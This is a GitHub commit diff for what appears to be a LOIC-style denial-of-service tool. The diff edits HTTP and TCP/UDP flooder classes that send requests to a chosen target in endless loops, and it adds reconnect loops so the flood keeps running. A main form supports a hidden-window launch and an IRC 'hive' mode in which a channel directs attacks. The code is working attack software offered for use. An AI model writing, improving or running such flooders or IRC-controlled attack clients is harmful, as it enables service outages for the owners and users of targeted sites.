Skip to content

Commit

Permalink
More coding improvements
Browse files Browse the repository at this point in the history
  • Loading branch information
NewEraCracker committed Nov 29, 2010
1 parent 79c3f3b commit 54348c9
Show file tree
Hide file tree
Showing 3 changed files with 32 additions and 26 deletions.
30 changes: 16 additions & 14 deletions HTTPFlooder.cs
Expand Up @@ -67,15 +67,15 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
byte[] buf;
if (random == true)
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}Host: {3}{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine, Host));
}
else
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}Host: {2}{1}{1}{1}", Subsite, Environment.NewLine, Host));
}
byte[] buf;
if (random == true)
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}Host: {3}{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine, Host));
}
else
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}Host: {2}{1}{1}{1}", Subsite, Environment.NewLine, Host));
}
var RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
Expand All @@ -84,10 +84,12 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
byte[] recvBuf = new byte[64];
var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
State = ReqState.Connecting; // SET STATE TO CONNECTING //

try { socket.Connect(RHost); }
catch { continue; }

while (IsFlooding)
{
try { socket.Connect(RHost); }
catch { continue; }
break;
}
socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //
socket.Send(buf, SocketFlags.None);
Expand All @@ -107,4 +109,4 @@ private static long Tick()
return DateTime.Now.Ticks / 10000;
}
}
}
}
14 changes: 9 additions & 5 deletions XXPFlooder.cs
Expand Up @@ -56,13 +56,17 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.NoDelay = true;

try { socket.Connect(RHost); }
catch { continue; }

while (IsFlooding) //Connect
{
try { socket.Connect(RHost); }
catch { continue; }
break;
}

socket.Blocking = Resp;
try
{
while (IsFlooding)
while (IsFlooding) //Flood
{
FloodCount++;
socket.Send(buf);
Expand All @@ -77,7 +81,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
socket.Blocking = Resp;
try
{
while (IsFlooding)
while (IsFlooding) //Flood
{
FloodCount++;
socket.SendTo(buf, SocketFlags.None, RHost);
Expand Down
14 changes: 7 additions & 7 deletions frmMain.cs
Expand Up @@ -29,11 +29,11 @@ public partial class frmMain : Form
public frmMain(bool hive, bool hide, string ircserver, string ircport, string ircchannel)
{
InitializeComponent();
/* IRC */
//IRC
if (ircserver != "") {txtIRCserver.Text = ircserver;}
if (ircport != "") {txtIRCport.Text = ircport;}
if (ircchannel != "") {txtIRCchannel.Text = ircchannel;}
/* Lets try this! */
//Lets try this!
if ( hide )
{
this.WindowState = FormWindowState.Minimized;
Expand All @@ -59,7 +59,7 @@ private void Attack(bool toggle, bool on, bool silent)
if (String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))
throw new Exception("Select a target.");

try //fix sHost
try //Fix sHost
{
if ( sHost.Length > 0 )
{
Expand Down Expand Up @@ -176,7 +176,7 @@ private void DoHive(bool enabled)
{
try
{
// Is everything ok?
//Is everything ok?
if ((txtIRCserver.Text == "" || txtIRCchannel.Text == "") && enabled)
{
disableHive.Checked = true;
Expand All @@ -193,12 +193,12 @@ private void DoHive(bool enabled)
return;
}

// We are starting connection. Disable input in IRC boxes.
//We are starting connection. Disable input in IRC boxes.
txtIRCserver.Enabled = !enabled;
txtIRCport.Enabled = !enabled;
txtIRCchannel.Enabled = !enabled;

// Lets try this!
//Lets try this!
ircenabled = enabled;
if (enabled)
{
Expand Down Expand Up @@ -532,7 +532,7 @@ void OnReadLine(object sender, ReadLineEventArgs e)
string server = e.Line.Split(' ')[2];
irc.WriteLine("PONG " + server, Priority.Critical);
}
else if (command == "376") // end of motd
else if (command == "376") //end of motd
{
if (OpList != null) OpList.Clear();
irc.RfcJoin(channel);
Expand Down

0 comments on commit 54348c9

Please sign in to comment.